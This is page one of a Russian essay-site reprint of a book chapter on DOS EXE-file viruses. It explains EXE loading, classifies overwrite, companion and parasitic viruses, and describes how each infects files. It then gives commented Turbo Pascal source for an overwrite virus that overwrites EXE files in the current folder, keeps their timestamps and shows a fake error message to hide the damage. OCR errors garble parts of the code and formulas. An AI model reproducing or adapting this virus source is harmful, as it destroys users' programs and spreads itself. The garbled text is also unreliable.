скачать рефераты
  RSS    

Меню

Быстрый поиск

скачать рефераты

скачать рефератыДоклад: Exe-вирусы

Доклад: Exe-вирусы

ВИРУСЫ

В этой главе рассказано о ви-
русах, заражающих ЕХЕ-фай-
лы. Приведена классифика-
ция таких вирусов, подробно
рассмотрены алгоритмы их
работы, отличия между
ними, достоинства и недо-
статки. Для каждого типа
вирусов представлены исход-
ные тексты с подробными
комментариями. Также приве- .
дены основные сведения
о структуре и принципах ра-
боты ЕХЕ-программы.

СОМ-файлы (небольшие программы, написанные в основном на языке
Assembler) медленно, но верно устаревают. Им на смену приходят пуга-
ющие своими размерами ЕХЕ-"монстры". Появились и вирусы, умею-
щие заражать ЕХЕ-файлы.

Структура и процесс загрузки ЕХЕ-программы

В отличие от СОМ-программ, ЕХЕ-программы могут состоять из не-
скольких сегментов (кодов, данных, стека). Они могут занимать боль-
ше 64Кбайт.

ЕХЕ-файл имеет заголовок, который используется при его загрузке.
Заголовок состоит из форматированной части, содержащей сигнатуру
и данные, необходимые для загрузки ЕХЕ-файла, и таблицы для на-
стройки адресов (Relocation Table). Таблица состоит из значений в фор-
мате сегмент:смещение. К смещениям в загрузочном модуле, на которые
указывают значения в таблице, после загрузки программы в память дол-
жен быть прибавлен сегментный адрес, с которого загружена программа.

При запуске ЕХЕ-программы системным загрузчиком (вызовом функ-
ции DOS 4Bh) выполняются следующие действия:

1. Определяется сегментный адрес свободного участка памяти, размер
которого достаточен для размещения программы.

2. Создается и заполняется блок памяти для переменных среды.

3. Создается блок памяти для PSP и программы (сегментЮОООЬ - PSP;

сегмент+ООЮЬЮОООЬ - программа). В поля PSP заносятся соответ-
ствующие значения.

4. Адрес DTA устанавливается равным PSP:0080h.

5. В рабочую область загрузчика считывается форматированная часть
заголовка ЕХЕ-файла.

6. Вычисляется длина загрузочного модуля по формуле:

Si7.e=((PageCnt*5i2)-(HdrSae*i6))-Pa!tP3ig.

7. Определяется смещение загрузочного модуля в файле, равное
HdrSize*16.

8. Вычисляется сегментный адрес (START_SEG) для загрузки -
обычно это PSP+lOh.

9. Считывается в память загрузочный модуль (начиная с адреса
START_SEG:0000).

10. Для каждого входа таблицы настройки:

a) читаются слова I_OFF и I_SEG;

b) вычисляется RELC^SEG-START^SEG+LSEG;

c) читается слово по адресу RELO_SEG:I_OFF;

d) к прочитанному слову прибавляется START_SEG;

e) результат запоминается по тому же адресу (RELO_SEG:I_OFF).

11. Распределяется память для программы в соответствии с МахМет
и МтМет.

12. Инициализируются регистры, выполняется программа:

a) ES=DS°PSP;

b) АХ=результат проверки правильности идентификаторов драйве-
ров, указанных в командной строке;

c) SS°START_SEG+ReloSS, SP-ExeSP;

d) CS=START_SEG+ReloCS, IP=ExeIP.

Классификация ЕХЕ-вирусов

ЕХЕ-вирусы условно можно разделить на группы, используя в качестве
признака для деления особенности алгоритма.

Вирусы, замещающие программный код (Overwrite)

Такие вирусы уже стали раритетом. Главный их недостаток - слишком
грубая работа. Инфицированные программы не исполняются, так как
вирус записывается поверх программного кода, не сохраняя его. При
запуске вирус ищет очередную жертву (или жертвы), открывает найден-
ный файл для редактирования и записывает свое тело в начало про-
граммы, не сохраняя оригинальный код. Инфицированные этими виру-
сами программы лечению не подлежат.

Вирусы-спутники (Companion)

Эти вирусы получили свое название из-за алгоритма размножения:

к каждому инфицированному файлу создается файл-спутник. Рассмот-
рим более подробно два типа вирусов этой группы:

Вирусы первого типа размножается следующим образом. Для каждого ин-
фицируемого ЕХЕ-файла в том же каталоге создается файл с вирусным

кодом, имеющий такое же имя, что и ЕХЕ-файл, но с расширением
СОМ. Вирус активируется, если при запуске программы в командной
строке указано только имя исполняемого файла. Дело в том, что, если
не указано расширение файла, DOS сначала ищет в текущем каталоге
файл с заданным именем и расширением СОМ. Если СОМ-файл с та-
ким именем не найден, ведется поиск одноименного ЕХЕ-файла. Если
не найден и ЕХЕ-файл, DOS попробует обнаружить ВАТ (пакетный)
файл. В случае отсутствия в текущем каталоге исполняемого файла
с указанным именем поиск ведется во всех каталогах, доступных
по переменной PATH. Другими словами, когда пользователь хочет за-
пустить программу и набирает в командной строке только ее имя
(в основном так все и делают), первым управление получает вирус,
код которого находится в СОМ-файле. Он создает СОМ-файл еще
к одному или нескольким ЕХЕ-файлам (распространяется), а затем
исполняет ЕХЕ-файл с указанным в командной строке именем. Поль-
зователь же думает, что работает только запущенная ЕХЕ-программа.
Вирус-спутник обезвредить довольно просто - достаточно удалить
СОМ-файл.

Вирусы второго типа действуют более тонко. Имя инфицируемого
ЕХЕ-файла остается прежним, а расширение заменяется каким-либо
другим, отличным от исполняемого (СОМ, ЕХЕ и ВАТ), Например,
файл может получить расширение DAT (файл данных) или OVL (про-
граммный оверлей). Затем на место ЕХЕ-файла копируется вирусный
код. При запуске такой инфицированной программы управление полу-
чает вирусный код, находящийся в ЕХЕ-файле. Инфицировав еще один
или несколько ЕХЕ-файлов таким же образом, вирус возвращает ориги-
нальному файлу исполняемое расширение (но не ЁХЕ, а СОМ, по-
скольку ЕХЕ-файл с таким именем занят вирусом), после чего испол-
няет его. Когда работа инфицированной программы закончена, ее
запускаемому файлу возвращается расширение неисполняемого. Лече-
ние файлов, зараженных вирусом этого типа, может быть затруднено,
если вирус-спутник шифрует часть или все тело инфицируемого файла,
а перед исполнением его расшифровывает.

Вирусы, внедряющиеся в программу (Parasitic)

Вирусы этого вида самые незаметные: их код записывается в инфици-
руемую программу, что существенно затрудняет лечение зараженных
файлов. Рассмотрим методы внедрения ЕХЕ-вирусов в ЕХЕ-файл.

Способы заражения ЕХЕ-файлов

Самый распространенный способ заражения ЕХЕ-файлов такой: в конец
файла дописывается тело вируса, а заголовок корректируется (с сохране-
нием оригинального) так, чтобы при запуске инфицированного файла
управление получал вирус. Похоже на заражение СОМ-файлов, но вмес-
то задания в коде перехода в начало вируса корректируется собственно
адрес точки запуска программы. После окончания работы вирус берет из
сохраненного заголовка оригинальный адрес запуска программы, прибав-
ляет к его сегментной компоненте значение регистра DS или ES (полу-
ченное при старте вируса) и передает управление на полученный адрес.

Следующий способ - внедрение вируса в начало файла со сдвигом кода
программы. Механизм заражения такой: тело инфицируемой программы
считывается в память, на ее место записывается вирусный код, а после
него - код инфицируемой программы. Таким образом, код программы
как бы "сдвигается" в файле на длину кода вируса. Отсюда и название
способа - "способ сдвига". При запуске инфицированного файла вирус
заражает еще один или несколько файлов. После этого он считывает
в память код программы, записывает его в специально созданный на
диске временный файл с расширением исполняемого файла (СОМ или
ЕХЕ), и затем исполняет этот файл. Когда программа закончила рабо-
ту, временный файл удаляется. Если при создании вируса не применя-
лось дополнительных приемов защиты, то вылечить инфицированный
файл очень просто - достаточно удалить код вируса в начале файла,
и программа снова будет работоспособной. Недостаток этого метода
в том, что приходится считывать в память весь код инфицируемой про-
граммы (а ведь бывают экземпляры размером больше 1Мбайт).

Следующий способ заражения файлов - метод переноса - по всей ви-
димости, является самым совершенным из всех перечисленных. Вирус
размножается следующим образом: при запуске инфицированной про-
граммы тело вируса из нее считывается в память. Затем ведется поиск
неинфицированной программы. В память считывается ее начало,
по длине равное телу вируса. На это место записывается тело вируса.
Начало программы из памяти дописывается в конец файла. Отсюда на-
звание метода - "метод переноса". После того, как вирус инфицировал
один или несколько файлов, он приступает к исполнению программы,
из которой запустился. Для этого он считывает начало инфицирован-
ной программы, сохраненное в конце файла, и записывает его в начало

файла, восстанавливая работоспособность программы. Затем вирус уда-
ляет код начала программы из конца файла, восстанавливая оригиналь-
ную длину файла, и исполняет программу. После завершения програм-
мы вирус вновь записывает свой код в начало файла, а оригинальное
начало программы - в конец. Этим методом могут быть инфицированы
даже антивирусы, которые проверяют свой код на целостность, так как
запускаемая вирусом программа имеет в точности такой же код, как и до инфицирования.

Вирусы, замещающие программный код
(Overwrite)

Как уже говорилось, этот вид вирусов уже давно мертв. Изредка появ-
ляются еще такие вирусы, созданные на языке Assembler, но это, скорее,
соревнование в написании самого маленького overwrite-вируса. На дан-
ный момент самый маленький из известных overwrite-вирусов написан
Reminder'ом (Death Virii Crew group) и занимает 22 байта.

Алгоритм работы overwrite-вируса следующий:

1. Открыть файл, из которого вирус получил управление.

2. Считать в буфер код вируса.

3. Закрыть файл.

4. Искать по маске подходящий для заражения файл.

5. Если файлов больше не найдено, перейти к пункту 11.

6. Открыть найденный файл.

7. Проверить, не заражен ли найденный файл этим вирусом.

8. Если файл заражен, перейти к пункту 10.

9. Записать в начало файла код вируса.

10. Закрыть файл (по желанию можно заразить от одного до всех фай-
лов в каталоге или на диске).

11. Выдать на экран какое-либо сообщение об ошибке, например
"Abnormal program termination" или "Not enough memory", - пусть
пользователь не слишком удивляется тому, что программа не запу-
стилась.

12. Завершить программу.

Ниже приведен листинг программы, заражающей файлы таким
способом.

{$М 2048, 0, 0}

{$А-}

{$В-}

{$D-}

{$Е+}

($F-)

($G-}

($!-}

{$L-}

{$N-}

{$S-} /

{$V-}

{$X+}

{Используются модули DOS и System (модуль System автоматически

подключается к каждой программе при компиляции)}
Uses DOS;

Const

(Имя вируса}
VirName='Pain';

{Строка для проверки на повторное заражение.

Она дописывается в заражаемый файл сразу после кода вируса}

VirLabel: String[5]='Pain!1;

{Длина получаемого при компиляции ЕХЕ-файла}
VirLen=4208;

Author='Dirty Nazi/SGWW.';

{Количество заражаемых за один сеанс работы файлов}
lnfCount=2;

Var

{Массив для определения наличия копии вируса в найденном файле}
Virldentifier: Array [1.5] of Char;

{Файловая переменная для работы с файлами}
VirBody: File;

(Еще одна файловая переменная - хотя без нее можно было
обойтись, так будет понятнее)
Target: File;

{Для имени найденного файла)
TargetFile: PathStr;

(Буфер для тела вируса)
VirBuf : Array [-I.VirLen] of Char;

(Для даты/времени файла)
Time : Longint;

(Счетчик количества инфицированных файлов)
InfFiles : Byte;

Dirlnfo : SearchRec;

LabelBuf : Array [1.5] of Char;

(Инициализация)
procedure Init;

begin
LabelBuf [1]:=VirLabel[1];

LabelBuf[2]:=VirLabel[2];

LabelBuf[3]:=VirLabel[3],
LabelBuf[4]:=VirLabel[4];

LabelBuf[5]:=VirLabel[5];

(Обнуляем счетчик количества инфицированных файлов}
lnfFiles:=0;

(Связываем файловую переменную VirBody с именем программы.
из которой стартовали)
Assign(VirBody, ParamStr(O));

(Открываем файл с recsize=1 байту)
Reset(VirBody, 1);

(Считываем из файла тело вируса в массив VirBuf}
BlockRead(VirBody VirBuf, VirLen);

(Закрываем файл)
Close(VirBody);

end;

(Поиск жертвы}
procedure FindTarget;

Var
Sr: SearchRec;

(Функция возвращает True, если найденная

программа уже заражена, и False, если еще нет}
function VirusPresent: Boolean;

begin

(Пока будем считать, что вируса нет}
VirusPresent:=False;

(Открываем найденный файл}
Assign(Target, TargetFile);

Reset(Target, 1);

(Перемещаемся на длину тела вируса от начала файла}
Seek(Target, VirLen);

(Считываем 5 байт - если файл уже заражен,
там находится метка вируса}
BlockRead(Target, Virldentifier, 5);

If Virldentifier=Virl_abel Then

{Если метка есть, значит есть и вирус}
VirusPresent:=True;

end;

(Процедура заражения}
procedure InfectFile;

begin

{Если размер найденного файла меньше, чем длина вируса
плюс 100 байт, то выходим из процедуры}
If Sr.Size < VirLen+100 Then Exit;

{Если найденная программа еще не заражена, инфицируем ее}
If Not VirusPresent Then
begin

{Запомним дату и время файла. Атрибуты запоминать не надо,
так как поиск ведется среди файлов с атрибутом Archive, а этот
атрибут устанавливается на файл после сохранения в любом случае}
Time:=Sr.Time;

{Открываем для заражения}
Assign(Target, TargetFile);

Reset(Target, 1);

{Записывам тело вируса в начало файла}
BlockWrite(Target, VirBuf, VirLen);

{Перемещаем указатель текущей позиции
на длину вируса от начала файла}
Seek(Target, VirLen);

{Вписываем метку заражения}
BlockWrite(Target, LabelBuf, 5);

{Устанавливаем дату и время файла}
SetFTime(Target, Time);

{Закрываем}
Close(Target);

{Увеличиваем счетчик инфицированных файлов}
Inc(lnfFiles);

end;

end;

{Начало процедуры FindTarget}
begin

{Ищем в текущем каталоге файлы по маске *.ЕХЕ
с атрибутами Archive}
FindFirstF.EXE', Archive, Sr);

{Пока есть файлы для заражения}

While DosError=0 Do

begin

If Sr.Name=" Then Exit;

(Запоминаем имя найденного файла в переменную TargetFile}
TargetFile:=Sr.Name;

{Вызываем процедуру заражения}
InfectFile;

{Если заразили InfCount файлов, завершаем поиск}
If InfFiles > InfCount Then Exit;

{Ищем следующий файл по маске}
FindNext(Sr);

end;

end;

{Основное тело}
begin

(Инициализируемся}
hit;

{Ищем жертвы и заражаем их}
FindTarget;

{Выдаем на экран сообщение об ошибке}
WriteLn('Abnormal program termination.');

{Это чтобы компилятор вставил в код константы VirName
и Author, условие же поставлено таким образом,
что эти строки никогда не будут выведены на экран}
If 2=3 Then
begin
WriteLn(VirName);

WriteLn(Author);

end;

end.

Вирусы-спутники (Companion)

Вирусы-спутники сейчас широко распространены - соотношение
companion и parasitic вирусов примерно один к двум.

Инфицирование методом создания СОМ-файла спутника

Страницы: 1, 2


Новости

Быстрый поиск

Группа вКонтакте: новости

Пока нет

Новости в Twitter и Facebook

  скачать рефераты              скачать рефераты

Новости

скачать рефераты

© 2010.